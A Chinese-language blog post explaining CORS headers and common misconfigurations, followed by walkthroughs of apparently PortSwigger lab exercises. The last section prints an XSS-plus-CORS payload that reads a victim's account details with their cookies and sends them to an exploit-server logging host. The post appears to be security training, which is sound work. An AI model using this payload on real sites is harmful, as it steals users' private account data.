737 字
4 分钟
CORS跨域资源共享

一,CORS

cors 用于允许访问来自不同源的资源,是同源策略 sop 的放宽

二。CORS 工作原理

1.请求方发送跨域请求时浏览器自动添加 origin 头

2。服务器返回控制策略头:

3,浏览器根据响应头决定是否允许 js 成功读取响应

三,常见 CORS 响应头

响应头含义
Access-Control-Allow-Origin指定允许访问的跨域来源(可为 * 或指定域)
Access-Control-Allow-Credentials是否允许携带凭据(如 Cookie)
Access-Control-Allow-Methods允许的方法如 GET/POST
Access-Control-Allow-Headers允许的自定义请求头
Access-Control-Expose-Headers比如 token 等可读的响应头

四,CORS 漏洞

服务器错误的相信了不应该信任的来源,并允许浏览器携带凭据访问敏感接口

五,常见攻击方式

1.任意来源信任

直接将请求头中的 origin 作为 access-control-allow-origin 返回,灭有做任何校验,任何域都被当作可信任域

2.信任 null

开发时使用 null 来方便测试,攻击者可利用沙箱 iframe 触发跨域读取

3.信任 http 协议的来源

中间人攻击拦截 http 请求获取漏洞凭据

4.信任子域

信任*.example.com,攻击者可注册子域名来利用执行跨域请求,也可能利用网站中子域名网站的漏洞来攻击主站

完成登录页流程,在历史请求中发现一个接口返回敏感信息

Access-Control-Allow-Credentials: true 疑似存在跨域资源共享

添加 origin 请求头,发送后发现添加的任意域被添加到 Access-Control-Allow-Origin ,说明服务器并未对其来源做校验,直接返回源导致浏览器信任陌生的来源

构造恶意代码:

在钓鱼网站写入上述代码,受害者访问页面时触发代码,浏览器自动携带 cookie 访问对应网站的对应内容并将相应结果发送给攻击者

与上面一题一样,但是服务器对源做了校验,null 被错误的包含在了白名单中

构造代码有所不同:

这次服务器对子域名信任,本来想能否通过控制一个子域名网站来完成攻击,但是靶场已经提供一个子域名

点击产品 checkstock 会弹出子域名网站,并且存在 xss 漏洞

<script> document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script>

CORS跨域资源共享
https://lab404.cn/posts/cors/
作者
见山
发布于
2025-12-21
许可协议
CC BY-NC-SA 4.0